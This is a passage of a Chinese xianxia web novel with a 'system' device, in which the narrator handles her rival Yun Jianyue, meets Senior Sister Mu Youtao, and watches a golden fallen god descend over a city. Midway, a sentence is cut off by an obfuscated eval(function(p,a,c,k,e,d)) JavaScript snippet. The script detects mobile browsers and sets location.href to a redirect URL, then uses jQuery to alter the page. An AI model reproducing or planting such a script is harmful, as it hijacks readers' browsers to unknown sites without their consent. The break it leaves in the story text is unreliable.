「系统,我知道了。为什么执法队会插手这件事。上一世花逝肯定也从齐施然口中问出这些,知道原因在这面镜子上,这种东西怎么可能随随便便一个人就有,背后搞不好是什么组织团体操控流通,花逝和云间月不对付,肯定不会把实情告诉她。现在,我们知道了真相。」 会清露接过镜子看了看,没发现任何异常,我家小姐也摇头。 齐施然已经明白,重新接过镜子,却没再收起,“我知道了,就是说它并没有映照人心的力量。我的疑惑已解,再无需要帮忙之处,你们,真的不需要?”她一只手虚握暗示。 “不需要!”会清露收好已经不再发亮的任务牌,坚定摇头。 “那好。”齐施然起身,说:“我这边也有事待处理,得和我姨母汇报一声,恕不远送。” 24.堕神降临 我们三个——离开齐家。 会清露任务完成脚步轻快, 小姐伸了个懒腰,看时间已经到下午,提议:“我们要不要叫上云间月,去喝杯好茶醒醒神?这城中有家一绝酒楼,旁边的茶摊也是一绝,好喝不贵。” “好。”会清露对小姐和我露出发自肺腑的笑容。 真好,活力满满笑对人生的女孩子,最棒了。 回到客栈,我先去了云间月那里,去把大美人接回来,是我带回来的她,也要对她负责。 我敲敲门,“是我。” 门自己打开。 房中,云间月没有读书,而是——在刺绣,满月图案。 怪不得她说不能送我,袜子根本是她自己刺绣的,这种东西当然不能给我,被我家小姐误会可就麻烦大了,如果她给我点手串发绳,这些寻常小东西,还能勉强遮掩过去。 我看大美人那边,她还在画。不过这次没用炭笔。云间月不知从哪弄来颜料给她,大美人这会东画一笔西画一笔,根本看不出个形状。纯粹是在玩。 云间月刺绣完最后一笔,对她的满月袜子很满意,直接换上了。她空出手来向枕头下面摸去,手收回来时,递给我一张折起来的纸。“这是刚刚吃过午饭画的,我替换撕碎别的纸,她没发现。” 我把纸打开。惊诧抬头。 云间月对我点头:“真是她画的,不是我。我……现在画不出来这种东西。” 没错,大美人这张画画风改变得很彻底,这次她画的是,简笔画。 如果说要画一栋房子一棵树,人们肯定提笔就画几根线条一个三角形一个方形。 就是这种。 画上只有一个个彩色小圆圈,积沙成塔般摞在一起,从纸下方堆满到顶部,最上方还画了……一枚小旗,旁边歪歪扭扭写着字。 字也是彩色, “画画,能做到。吃饭。要开心。” 怪怪的。 看过那种有冲击力的画面后再看简笔画,当然怪了好吧! 不是我怀疑云间月,是这简直不像出自同一人之手。 【呃……要不宿主听听统的见解?】系统见缝插针凑过来,听它这语气我就知道估计又是什么心理疗法。 「你说。」 【这是一种心理疗法,要求被治疗者通过绘画或者书写来记录自身变化,是专注训练的一种,不依靠压抑情绪,而是正视并释放它,当被治疗者无法对自身进行自主分析时,将由医生们得出结果。】 「那你的数据库有什么结果?」 【已分析。困境,焦虑,重复动作。刻板行为。该患者有严重心理障碍,可能伴随精神疾病。】 「……」可是,我怎么记得,我这个世界十分玄幻。 就是说,在我这里一个人是真的疯掉,还是各种原因物理意义上丢了魂,两种可能各占一半。 我先随便敷衍过去:「等有空再说,眼前事要紧。」 【是,全看宿主如何打算。】系统假装闭目养神去了。 我拉起大美人,她很高兴能出去,迫不及待往外走,我再招呼云间月:“去喝茶吧!一绝酒楼旁边的一绝茶摊!不远的!” 云间月起身拍拍衣服:“成。” 走出门,小姐和会清露刚好在等。 我们五人,在下午散落阳光中轻快前行。 还没走出多远,身后有人招呼:“几位门派学徒留步。” 一回头,是黄衣服,身后跟着红衣服,对我们招手,跟了上来。这两个人……和好了。 黄衣服是来跟我家小姐道谢。 小姐知道齐施然已经把话说明白,不禁问:“这礼物还送吗?” 黄衣服摇头说:“不了,沾染鲜血的东西,我们不会留,你们不是学仙家法术么,想来不惧这些,不管镜子是真是假,由你拿走,就当作谢礼,随你怎么处理。” 她倒是大方,直接把镜子交给小姐。 我旁边的大美人……目光炯炯,盯着镜子……前方。 我顺着她的视线看,前方是个古董摊。 “……”难不成大美人从前喜欢古董? 镜子不能放在小姐手中,等会回去我想办法要过来。 “让我们做个自我介绍好了,一直瞒着真不好意思。”黄衣服率先行了个礼,“我名杨潞,家中世代经商,或许诸位有所耳闻,正是第一布庄,我是少东家。” 红衣服也跟着行了个礼:“我是第一书坊的少东家齐柒,与杨潞从小是玩伴,这次的事是怕她丢面子还失望,才用丢失做借口,想把这件事蒙混过去,哪想她这般不配合。” 两人说着互相拍了拍,关系看起来非常好。 “幸会,”我家小姐挨个介绍我们,并且跳过大美人。 “好说,我们得走了,幸亏遇见你们,不然要耽搁得更久。以后有缘再见。”红黄二人和我们打完招呼,向出城反方向离去。 “原本是轻易遇不见的人呢。”小姐感叹。 我好像知道艾宁宁为什么会在这了。这种相遇是巧合,也不是。她估计是来给第一书坊交书稿的吧。 第一这个排名…… 其实两家本名不叫这个,序列是多年前一位有闲情逸致的人皇所排,久而久之默认这种叫法,现在过去经年,民间已经忘记最开始的名字,都这么叫了。 我们找到那家茶摊,茶果然很好喝,这样坐到了阳光西斜。 还不等太阳彻底落下,原本晴朗的天空乌云蔽日,天地间一片昏黄,黄云低垂得要压下来。一看就是要出事的预兆。 我悄悄打量云间月,她比早上时更加紧张戒备。 呼—— 街上掀起夹带黄沙的风,电光火石间,云间月衣袍下摆被风吹起,我看见她两脚都穿着满月袜子。 “……?”好奇怪,所以她白天绣是为了下午穿上。这还能现绣吗。 明知道灾难将要降临,她也……太临危不惧,太冷静了一点。 【宿主,可能是战斗服。是一种叫做仪式感的东西,认为穿上被赋予特定意义的服装能够增加运气。】 这么说云间月真的是一直在做准备。 「是吗,虽然黑化不提倡,可我真的很欣赏她这种性格。」 如果我和她不是宿敌,说不定会成为朋友。 我不确定云间月知道我要做什么后会无动于衷,她在筹备,我也在谋划。 就当是对我的一次考验,见招拆招。 天空中,忽然落下一道白影。一头白发亮得晃眼,这道白影对我冲来,我们所有人都没反应过来,几人出手阻拦但已经太迟——我被白影扑得从椅子上摔下,白影压在我身上,团成一团。 我知道为什么三人拦不住她。 白影,是慕柚桃,小桃师姐。 她好歹是师姐,还带着法术从天上摔下来,能拦住才怪。 慕柚桃坐在我身上,双手在我脸上摸来摸去,凑近了看我,嘴里嘀咕:“不对,不对……我这是……到哪来了?” 她眼睛眯着,努力睁开,顿时不少眼泪涌出, 美少女抹眼泪。 非常有冲击力。 我看着她。 她把眼泪抹掉,认出我来, “是你呀,师妹,你好。” “小桃师姐怎么在这?” “唔。这里风太大迷眼睛,想找个地方降落,这时吹来一股好大的风,我就……摔下来了。” 听起来很像是胡编的理由,但她走路都能平地摔…… “小桃师姐,你能不能起来。” “哦,哦!”她才发现似的,摸索着从我身上爬起来, 我也站起来,想招呼她坐。 嗯,小桃师姐打了个踉跄,又摔到我身上。 “唔……头好晕……”她看起来很难受。 呃,旁边我家小姐在看我。 不对,她在看慕柚桃,她认出来了! “小桃师姐。”小姐微笑着搀扶起慕柚桃,不让她靠着我,然后对会清露介绍,“这是慕柚桃师姐,上次你晕倒,是师姐帮忙施针。” 会清露很关心慕柚桃,人凑过来,“师姐……我帮你治疗。” 两人一左一右把慕柚桃架起来,周围一下子空了,只剩下盯着慕柚桃白发的大美人,还有谁也不看的云间月……欸? 云间月,也在看慕柚桃。 是的,看得相当认真,可以说是审视。 我还从来没见过她用这种眼神看人,就算我把她调戏急了的时候也没有。 她……系统说过她和慕柚桃上一世是队友,这不是该对同伴的眼神吧。 过了一会,慕柚桃支棱起来,人不再乱晃。 我家小姐问:“师姐,你怎么到这里来了?” “入门测试时……也有门派的师姐们在守望,其实现在不能告诉你们,但谁教我摔下来了,就是这样,等你们成为正式学徒就知道,每次都会从外门中抽签,抽中的出去看守着,怕出事。当然呢,遇到不公正行为会记下来,我们也有任务牌,哼,小桃师姐可记了不少。本来飞得好好的,这里竟然刮大风,欸……还好遇见了师妹们!”师姐一番话不像假的。 我相信这真的是巧合。就是,命运的指引吧。即使这一世云间月没主动认识慕柚桃,世界也有它的办法。 “来者是客,师姐请喝茶。”小姐强行把慕柚桃按在座位上,坐在我和慕柚桃中间。 ……她是不是有点针对小桃师姐啊。怎么会呢! 我家小姐最好了,一定是想请人喝茶才这么说的! 咚! 有个黑乎乎的东西从旁边酒楼被打出来,滚到地上,紧接着一道头很大的金发影子飞出,追着黑乎乎的东西猛打,这会街上有许多人,一见有热闹可看,呼啦啦把金发和黑乎乎围成一团。 从我们这边,坐着看不见了。 “哎呀,我得去看看!”慕柚桃一跃而起,往人群那边跑,我看着她在人群最外面跑来跑去,想见缝插针钻进去,但她不是手脚灵活的类型,半天都没钻进去,还差点摔在地上被人踩到。 “……小姐,你坐,我去帮师姐。”我按住要起来的我家小姐,跑到慕柚桃身边。 面前围着一大群人,小桃师姐什么也看不见,急得一跳一跳,她可以使法术一蹦三尺高,但本身就是围观旁人,刻意跳起来看未免……不太礼貌。所以她只是急得直蹦。 ‘让我看热闹,让我看热闹。’这样的气息从她身上强烈散发出来。 “嗯。”我拍拍她肩膀。 “呀?”她向后仰头看我。 “失礼了。”我把她举起来。 她很轻。 “唔……当初腿再长长点好啦。”我听见她小声碎碎念。 我一边举着慕柚桃一边往人群里面闯,轻巧挤到前排,把师姐放下。 “师妹,你真机灵……”小桃师姐轻声说。 “还好。”我看向前方。 首先看见的是一颗缎带大蝴蝶结。绑在头顶当发带。大蝴蝶结的主人——金色短发手持长剑,和黑乎乎打得有来有回,明显占据上风,黑乎乎弹跳着攻击,她一个抽身躲过,黄色剑光劈在黑乎乎上,把它打得飞向高空,同时长剑高高举起,一道明亮黄光对准高空中的黑乎乎发射出去,正中目标。 黑乎乎发出惨叫,消散了。 金色短发收起长剑,志得意满回头。 那个人,是……白珉。头上的蝴蝶结太显眼,根本没认出她来。 她怎么也在这? 我为什么要说也。 白珉一回头才发现身边围一圈人,很不高兴,“都看什么?!还做不做事了?” 围观的都是些普通百姓,她并没有随意攻击,只是把这些人呵退。 人群散开,白珉一眼看见我,“是你!” 不是,我这次没招她惹她,她向我冲过来做什么。 我躲到慕柚桃身后。 系统这时忽然出声:【宿主发现没有,白珉与白昳,都姓白。】 我注意到过这个问题:「应该不能,人界白是大姓,很多人都姓这个,是巧合吧。」 总不能我随便遇上一个就是有关系的。 慕柚桃拿出个小册子问白珉:“这位师妹,受伤没有?” 白珉一看制服就知道慕柚桃是同门,语气比对我好许多,“没有,多谢师姐关心。” “那,可否说说这是怎么回事?” 白珉顿了顿,说:“有人拜托我帮忙,想……召唤鬼仙出来,师妹技艺不精,召唤出的并不是鬼仙,大概是失去神志的鬼物,刚刚已经送回鬼界去。” 啊,鬼界也有呢,不太清醒的存在,被称作鬼物。白珉……真的会这样学艺不精? 但慕柚桃并没有发现什么,她看看四周,再看看白珉:“师妹没受伤就好。” 她拦在我前面,白珉想过来,又没有合适理由,不甘心地“哼”一声,行了个礼, “师妹告辞。”走出几步我还能听见她小声嘀咕:“可恶,到底叫什么?” “我看她衣服上绣着‘白珉’,你和她有仇?”慕柚桃问我。 “可能是?”我其实不太确定,“她是新生宿舍长,那天会清露就是被她的跟班按住喂了很多茶,才会噎住,被小姐撞见,我替小姐阻拦,白珉很生气。但是会清露也有不对的地方,白珉叫她晚上按时回来,会清露屡犯不改,后来小姐邀请她同住,这件事就这么了了。” “是这么回事。那小桃师姐会盯着点她的。”慕柚桃竟然来摸我的头。 “师姐。”我有点故意。说:“师姐也看见,我是伴读,按理说不能叫师姐。” “嗯。”慕柚桃笑呵呵,“可是,有很多伴读最后进了内门,叫师姐没什么不对。” 欸?我还以为……她会不知道怎么反驳我呢。 【呵,慕柚桃毕竟是主角团一员,宿主,小心些吧。】系统阴阳怪气。 「怎么?」 【她对你态度有点奇怪,算了,宿主看不上统的这些行为心理学知识,你家小姐在看你。】 天哪,我把小姐给忘了。 我心虚地赶回小姐身边。 茶桌上谈话在继续。 小姐似乎意有所指,问慕柚桃:“师姐,不知……为何是一头白发?” “嗯?师妹你说这个。”慕柚桃扯了一下她的白色长发,“我是个医修,医修识百草,熬药不炼药,做出来后要自己试吃,有时候就会这样吃到不该吃的,然后……我的头发就一直这样,除了变色没影响,欸欸,师妹是好奇师姐的年纪?” 她盈盈微笑:“师姐的确长师妹们几岁,看不太出来。哎呀,就把师姐当做同龄人嘛,这样就好。” 她都这么说了,我家小姐……罕见地无话可说。该说是慕柚桃心大还是依照自己的风格健康向上活着,怎么评都不对。 倒是会清露,细声细语说:“师姐的头发……似乎,已经被改变成白色,并不是负面状态,治疗法术无效。” 能马虎成这样,已经是有点惨了,小姐露出少许愧疚神情,“对不起,师妹问了不便的事。” “没事呢。”慕柚桃不在乎的样子,继续笑:“相逢也是缘,师姐决定不走了,就停在这守望师妹们,不知几位师妹住哪里,师姐也同去好啦。” 她呢……可能有点不会看气氛。不,这么一想,从上次相遇,好像……就是这样。软乎乎,自说自话,有点嘴毒,其实相处过后会发现,她没有初见看起来那么刻薄。虽然不会看气氛,这就是小桃师姐。笨笨的。难道她也会摔进别人怀里吗? “啊!”大美人终于还是没能逃过那头亮闪闪白发的诱惑,想拔一根头发瞧瞧。慕柚桃竟然没躲过魔爪,痛失一根头发。 她意识到大美人神志不清。“她——” “是灵佑捡回来的。”小姐替我说了。 “嗯?我看她身上有股气息,还以为她是你们谁的监护人,来查看情况……”慕柚桃意识到她说得太多,闭嘴。 “气息?”小姐不是会装作没听见的人。 “就是,能感觉到能量啦。但只是种感觉,也不太准的!一定是我看错了。” 是能从天上摔下来的师姐呢……不怎么靠谱的样子,既然这么说了。 慕柚桃只是笑呵呵面对投落到她身上的困惑。很重要的话题被小桃师姐萌混过关。 她真的看起来很软。像个小蛋糕。又闪亮亮的。 在越发昏黄起来的天色中,我们回到客栈。 大美人径直跟着我回了房间,慕柚桃这才意识到她和我住一间,她轻轻“欸”了一下。 她看看我,再看看大美人,然后小声说:“师妹……门派并不限制交往,但你在师姐面前……记得避讳。不是所有人都像小桃师姐一样开明,像是掌门什么的,是保守派,被看见说不定要罚去做苦工。” 我意识到她误会了。 我拽一拽她,把她和大美人先推进房间,去找我家小姐。 小姐根本不需要我多说什么,她以为我看那面镜子好看,随便就给了我。 “灵佑……”她靠在我身上。 我知道她心情不好,但我却没见过她把脾气发到云间月身上。系统也给我说过一些小说中常见套路,刁蛮女配折磨女主……可是玉燃兮她都没有。我真的想不出她会因为婚约对象喜欢云间月而对云间月百般刁难。 “小姐。我会一直在你身边。”我抱住她肩膀。 “那,灵佑和云间月……什么关系?” 她果然注意到了!我就说云间月这些小动作,她她怎么可能不被发现,如如果我我说之前夜不归宿是和云间月鬼混去了,小姐一定会更不开心,会以为我背叛她吧……但如果我说是敌人,那小姐绝对会针对云间月。不是为了程追原,而是为了……我? “别有目的,互相利用关系。”我说。我补充:“小姐可以去问云间月,她也会这么答复。并不是朋友。” 【解释就是掩……】 「闭嘴。」 “是吗……”玉燃兮在我面前直起身子,面对我。 “是。”我坦荡。云间月也不会以为我们是朋友,这是个事实。 “那就好。”小姐捧起我的脸,“灵佑,背后说人不对,但我总觉得云间月她……她身上,有股让人很不好的感觉。像……鬼气。灵佑可还记得我妈妈的事?” 原来是这样?是她担心我才会闷闷不乐?! “记得。小时候小姐很害怕进祠堂,城主大人在夫人离去后一直供奉夫人的灵位,时常去祭拜,一进去就是几个时辰,还不让旁人进入,钥匙也是自己随身保管着。小姐那时好奇……” 那天玉燃兮从城主身上顺来钥匙,拉着我,我们两个悄悄进过祠堂查看。 玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797306|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府的祠堂里供奉多半是历代祖先们,并不是神仙,按理说女眷逝世不得入祠堂,城主不在乎,夫人家里是高官,城主一脉亲族凋零,那时老夫人还在,但和城主关系冷淡,本身身体不大好,这件事只被提了几次,城主一意孤行,就再没人管了。 我和小姐一进去,祠堂……祠堂正中一个华丽温馨但诡异的灵位……把其它灵位挤到一边,独占鳌头,上面写着夫人的名字: 姚冰夜。 这倒寻常,祭台都这样。不寻常的是偌大的灵堂……摆满了……同样样貌的人偶。大大小小的,和夫人画像一模一样的人偶,栩栩如生。在推开门那瞬间,好像所有人偶扭过头来看向我们,白色蜡烛被门口进来的风吹灭, ‘呼……’ 小姐当场就被吓住,那时我还以为她是害怕过于温馨的灵位……毕竟生死有别,给死人用活人所用的饰物,就像恋人去世后扎恋人的纸人继续生活,同床共枕,谁见了都会害怕。 但玉燃兮没有哭。 我把吓傻了的她连拖带拽扛出祠堂,顺走钥匙这事也被城主知道,不过没有责罚,因为那之后她就病了,当时娘忙碌好多天,从贴身照顾到煎药喂药,这些都是娘带着我一起完成。 这事出的奇怪,城主请来各方大夫,大部分大夫说小姐可能是那种天生有灵感的人,小时候她会对鬼怪一类很敏感,为求平安还是需要远离,那之后小姐就没再进过祠堂。 现在想来,其实应该是她本身有修仙天赋,从小就有很多能量,对能量波动敏感,加上年纪小,还有祠堂布置得那样诡异…… “小姐,我知道分寸!”我兴高采烈。我很开心,再三保证,“我和云间月绝对不会有任何亲密关系!”这个是真的。 不用保证也是。 “灵佑……” 小姐心情肉眼可见——变好了。她也很高兴,蹭得我脖颈很痒。 我的保证起到效果,这样她就不会再分出更多思绪来担心我追随云间月而去,她就……只需要考虑程追原到底喜欢云间月哪里。 我还是无法避免心里酸溜溜。不是说云间月不值得被喜欢,她身上有很多优点,不服输,人聪明,还好看。 但我就是会吃醋。哼。 从小姐房间出来,我酸溜溜地推开自己房间门。 呃……大美人好像有点委屈,坐在对她来说显矮的小凳上,慕柚桃一脸紧张护着自己头发。 “怎么回事?”我其实已经知道。大美人非常喜欢那头亮晶晶的白发。 “没事。”慕柚桃若无其事。 欸。我还以为小桃师姐要来和我告状,她竟然没有。 “怎么,师妹以为我要告状?”慕柚桃摆摆手,“我才不会呢,她看起来神志不清,剩下的神识不够她操控自己行为,按理说这样的病患需要关起来照顾,她绝对是趁乱溜出来的。说不定她的亲属这几天很忙,要找人的话,往这方面找啦。” “剩下的,神识?”我怎么觉得小桃师姐这么……迷信。谁知道神识到底是什么样。 “嗯……我是个医修,对这方面也算有研究,识海其实和大脑是同一个概念,像我这种不迷信的医修很少,所以我以为说得迷信点你能听懂,看来不是?” “不是。”我老老实实摇头。 慕柚桃来了兴致,凑到我身边,充满学术精神探讨比划: “她这样,有个迷信说法是,失去魂魄,但说到底魂魄这东西没人证明真的存在,如果我换种说法你更能听得明白,我相信人的大脑分为不同区域,每个区域都操控着人的行为,并不是所有失忆的人都疯疯癫癫,有些人也知道吃饭喝水睡觉,除了记忆之外的区域没有受损。我们都知道思绪是能量,那么也许是失忆患者的脑袋记忆区域出现缺口,一直让思绪处于离散状态,无法聚拢,想要让她恢复正常,得先把她丢失的思绪能量找回来一些,把缺口给堵上,再用法术之类的加固。” 我听明白。“真能找回来?” 慕柚桃就事论事点头:“有心就能。能量不会无缘无故消失,她失去的记忆应该是在某处,如果有心找,坚持不懈去找的话,很大概率能找回来一点。但过程很困难,所以师妹你不找也没事,她现在……我看她过得也还不错?” 是啊,还算不错。前提是遇见好人的话。 我不是什么好人,只是怕麻烦。因为云间月现在消极以对,我在代替她,希望能把大美人平安送回亲族手中, “如果她本人也这么认为的话。” 慕柚桃拿自己头发逗大美人,大美人像收到信号一样有精神,玩得很高兴。 我:“……”白发亮晶晶。大美人是喜欢亮晶晶的东西,绝对是。我要是住她附近,可能拿着个沾糖粒的糖在她面前摇晃,她就跟我走了。 “师妹别担心,日子还长……病也总会有办法,活着比什么都好。师姐得走了,太晚还留在师妹房里被人看见不好。” 出现了,小桃师姐的大智若愚时刻。她总是这样,给我聪明又笨拙的错觉。是错觉吗?是吧。 “好。”我点头。 慕柚桃走出门去,在门缝间露出半张脸,软乎乎提醒:“师姐相信你品行,不会对神志不清的人下手。晚安。” 【……】 「……」 【怎样,感受到主角团有多难打交道了吗?】 「有没有解析出点什么?」 【没有……宿主多加小心,慕柚桃很奇怪,从云间月那边破解不出来,从本人身上更是读不出信息,系统看不出她年龄,不确定她一定是人族。】 这还真是件怪事,和我娘一样。 夜晚死寂无声。 我没有睡。我躺在床上,旁边是呼吸平稳的大美人,她已经睡了,但我在等待那个时刻到来。 我…… 意识忽然恍惚起来。【……】 【……!!】 【…宿主醒醒!】系统从未有过的凄厉尖叫把我叫醒,我并不是睡着了。是外力因素。 我第一眼看向窗外,原因无它,窗外非常不对劲,亮得诡异。 我扑到窗边,用很大力气推开窗,我根本不在乎它发出多大声响。我的视野……只有那个‘存在’。 天空中,有一颗金色的,太阳。 我无法形容那是什么,我甚至无法直视它。它是金色,这太奇怪了,要知道,在我们的世界,太阳向来——是银色的。 我从未见过金色太阳。于是,我在这炫目的光芒下,久久失神。我。失去我的语言。 它非常美。 胜过一切我见过的美景,超出认知。 如果你站在宇宙之中。你是个渺小人类,你面前是,一颗行星,它正熊熊燃烧。我想,你会明白我想表达什么。 它巨大而不可撼动。所有,所有试图凭一己之力撼动它的,都是愚不可及的蝼蚁,会被它在瞬间烧灼殆尽。 这就是我面对的东西。 我定了定神,努力把思绪从金色物体上挪开,向它下方,离地表更近的东西看去。 低空中不断扩大,盘踞着的,是一道暗紫色漩涡,这是汇聚起来的恶念。这种东西人轻易看不见,但我相信,现在它们多到普通人也看得见。 天生异象。 普通人见势不好,早就跑了。 现在大街上空荡荡,没有几个不怕死留下来看。 从楼上能看见街巷中有零星人影,定定停在原地。 是发现不对出来查看的各个门派学徒们。有参加考试的,还有来加油打气的。仿佛先升到空中的是紫色漩涡,在出来查看时,金色太阳猛地窜到高空。所有人……都处于失语状态,对天上两个东西不知如何是好。 「……系统,告诉我,你眼中这两个东西是什么?」 【漩涡是黑色……】系统卡壳了。【我,我……宿主,那个东西是金色没错,但它不是‘东西’,它……】 「没在你数据库中?」 【欸!】系统惊得声音颤抖:【宿主怎么知道?】 「我想,那个存在,应该是……真正的神吧。就是,有神性的东西,不是都说人有人性吗?但是神在成为神后,就没办法作为独立的人而存在了,没有人会说一个神有人性,那是对神的亵渎。神的人性会消失,或者说转化为神性,真正的神……是符合宇宙规则,被宇宙之力承认的存在。你是系统,也许你的科学世界中没有真神存在,它也无法被录入你的数据库中。其实我对你能看见它表示惊讶,呵……这怎么可能呢?」 我翻出窗台,把窗户仔细掩好,不想等会动静闹大了被人发现我窗户开着。我不能被小姐发现我是个邪修,以玉燃兮的性格,一旦被发现,她很自然会联想到是我阻碍她和程追原接触。 去哪里好呢。心里早已有答案。 好了。 现在。我站在城中最高处,位于城主府建筑尖顶的引雷旗上方。不会有人发现我在这。 现在是我,来面对它。 系统久久失语。 我缓缓说: 「我在怀疑,」 「……这里,是不是真的只是一本书?」 系统的态度已经说明一切。一个书中世界。何来宇宙? 它识别不出。但我不打算为难它。事实是它也很震惊,无法回答我什么。 这个状态的白昳已经……不能被称作生命。 而是,存在。 25.其一·战时协商 我不知道堕神为什么不是黑色的。金色,又代表什么? 是说,也许,它……并不坏? 因为,因为在系统眼中,云间月的能量,也是金色的。 我对是否能救下白昳没有十拿九稳把握,如果在这个过程中我方有生命危险,我会放弃救援计划。 我当然不知道我哪里来的自信,觉得我能抗衡比我多活九万年的白昳, 【它现在还是不完全形态,也许,它只是伪神。我听说,真正的神降临时,这是一种假设,真神降临,时光倒流。神会抽走一点时间,也许只有几秒,宿主世界的神君,并不是真正的神,神是能在虚实之间自由转化的存在,纵横所有次元,畅通无阻。】 我无法理解什么是‘在虚实之间自由转化’,但是—— 「倒流?就是说如果我打败了神,这时时光倒流,就要再打一次?那我岂不是永远也无法杀死一个真正的神?」但是我初生牛犊不怕虎,认为我必须打败天上那个东西。 【正是如此。】 「有没有什么办法可解?」 【……】 【在玄幻世界的说法是,夺走神的‘眼睛’。让它看不见。意识不到自己已经降临,就可以,在理论上杀死神。不过宿主想听系统的解释,那就——干扰它,神在初次降临时,从能量上观测,它自身也会处于思绪混乱状态,可以理解成它这时没有多少脑子,这时干扰它,让它认为的东西不是实际上它感知到那个东西,就可以。宿主可以用法术,或者,行为,只要造成四周能量波动。都算。】 「……」 【宿主为何沉默?】系统可能有点幸灾乐祸吧,毕竟它说过不要我掺合这事,现在情况难办,它怎么不得意? 「我得找盟友。这事只有我不行。」 【……】系统似乎被我的不知天高地厚震慑,过了一小会才说,【是,尊重宿主意愿,现在开始搜索目标。第一个,从宿主正东方向来,在往这边赶,不过人偷偷摸摸。标记上看,来人是艾宁宁。】 她怎么在这?还不等我思考,系统立刻说: 【第二个,正在看宿主,宿主低个头,正好能看见。】 系统最好不是在讲鬼故事。 我一低头,引雷旗柱子下方,一道影子抬头看我。 【随机任务已刷新:让女主加深与你的关系(完成奖励,随机查看一段相关记忆)】 未见人先闻声。又一个任务悄然而至。 呵……云间月。我难免心头烦躁,不是因为思考这任务要怎么做,而是我知道肯定会对上她。但没想到这么早。因为白昳而汇聚的恶念多少也影响到了以吸收思绪能量修行的我,一看见云间月,我下意识想跑。 “不管你要做什么,打住。”云间月跳上来,站在另一根柱顶与我相对。 “……”我在和她对峙。 我冷漠看着她。“显然,你有你的目的。我也有我的,如果你拦着我,以后我全家都会死。我不会让你挡在我前面。” 是的,我,第一次对云间月展露出我的这一面。 真实的我,念头阴暗,道德低下,计较利益得失,只在乎我在乎的人,除此之外,我毫不关心。如果让云间月黑化,我和系统之间的契约就会失效,我一家都会死。 即便违背云间月意愿,把她打晕关起来我也不会让她去承受恶念。 云间月被我凶恶而且冷淡目光看得让步,说:“我记得,这是个悲伤的结局。” 她在说白昳的事。 “恶人……没有受到惩罚,无辜者尸横遍野,天上的那个东西,名叫白昳,是受害者之一。而我……”云间月相当平静,语气中有一丝对自己的讥笑,“我竟然不清楚这到底是怎么回事。” “联手吧。”我说,“我也想知道这是怎么回事。你可以不相信你的同伴,但我是你的敌人。这是世界上最牢靠的关系,你的同伴会因为你失势而落井下石,我很公平,不管你好不好,我都会一如既往视你为眼中钉。” 我想我对云间月一直以来压抑的敌意在此刻表现得很好。它足够清晰。 我的恨意,在这个瞬间,多得满溢出来。如果不是云间月出现,如果不是世界上有这么个人…… 不行。 我,我——“你被影响了。”云间月淡淡说,“恶意干扰你,你现在丧失判断力。你该好好休息。” “没有。我好得很。”答复时,我已经重新调整状态。我的敌意……消散了。 云间月真的惊讶,不确定:“你……?” 我问:“不管你怎么想,天上那个东西不能就这样放着,东边树丛里还有个人,不知道来做什么。先打还是找人?” “打。攻击已经开始了,城中的修士正在聚集,我们要先靠近它。” 我看出来,云间月,她是个猛人。呵。她跃跃欲试,她根本就没用什么脑子,浑身上下都在说,打就完了,反正她总能赢,只要还剩半口气,就是她赢。 她总是能赢得她那残酷到不忍直视的人生。直到她达成目标后死去。 我:“白昳,她是什么能量属性?” “水。”云间月即答。她记得真是清楚。 所以,这场仗要怎么打呢? 这是个早已经想好的办法:“听我说,城中有许多湖水,还有地下河,我们吹散当前区域天上的云,把水面暂时结冰,尽可能减少空气中的水元素能量……”“不用那么麻烦,把白昳打下来,再把恶念转移走,事情就会解决。”云间月无比笃定地打断我。 ——原来她是肌肉脑袋?! “这样,会事半功倍。我用结界包裹这里,把白昳的恶念停滞在结界中,你去让水体上冻。”我盯着她。 “……”云间月不置可否,当她不同意时,她就会像这样一句话不说。 那只能我来说了。 “其实,你记得每个被你杀死的人。”我毫不留情嘲讽她,“你甚至连她们的属性都记得,承认吧,本质上的你,很喜欢被打。” 云间月瞪大眼睛看我,好像我有多不可理喻,好像我疯了。 “反正你之后也一定会杀我,我是你的宿敌,你忘了不成?你看。就算世界末日,”我笑,“云间月你也永远会开启新的旅程,只是你终其一生只能遇见唯一的这个我罢了。哪怕下次你再遇见我,你清楚那也不会是今天这个我。所以,有什么不值得你好好享受生活?碰巧我有一个好点子,就算你真的这么急着执行你的计划,你也还有无数次可以尝试,那为什么不先试试看我这个好点子?” 云间月对我这些话非常——我能感觉到,她非常动怒,她想杀了我。我浑身戒备,她马上,就是这样,她要对我出手了! 她没有。 怒气峰值过后,她……不可思议地平复下来, “行,就按你说的做,做完了我会回来。”她转身欲走,忽地回头,冷冰冰送我一句熟悉的话,“好好撑住,可别死了。” “等下,你是什么属性?”我还没问过她这件事。 “自己看。”云间月双手中涌现色彩,一手深蓝,一手蓝白。 深蓝是水元素,蓝白……“雷元素?”这种并非大自然中常见元素,很少人拥有。 “一开始不是。被雷劈多了,不是也是了。” “……”怪不得她被雷劈没事,这不就跟毒药喝多了能得到毒抗性一样,因为太有道理我哑口无言,“那正好,就算水元素被冻住,你也有身外能量可用,我记得,你不是会治疗术?” 云间月还给孩子治过伤。 “那是我独创的治疗术,以能量修复能量,这世界的普通治疗术,像是会清露所用,她们的力量是切除病变器官后消耗能量使器官再生,对身体损耗极大,没有治疗天赋无法施展法术。” 【怪不得,原来她会给自己锁血。】 系统是在说云间月能够操纵自己的能量,锁住维持生命需要的血液,因为血液也是能量。 嗯,被雷劈得多了,被自己那诡异霉运招惹的仇家太多,云间月真的是在努力活下去,她想出一个又一个解决问题的办法。 “没事了?”看得出云间月很急。 我摇头。她转身就走。 呼。 云间月从面前消失,我才意识到…… 自己,一身冷汗。 我悄悄张开结界。 这是我最擅长的法术,之一。之前喝下的药会使我短期内力量大增,数千年修为的荷乘蕴完全不是我对手,而我在最近半个月夜晚梦中……已经压抑快到极限。 我想,现在的我至少有上万年修为。 是的,只要我能在这□□中摒除杂念,一心扑在我的结界上。 专心,施展法术。 简直不是人干的活。 但我可以。 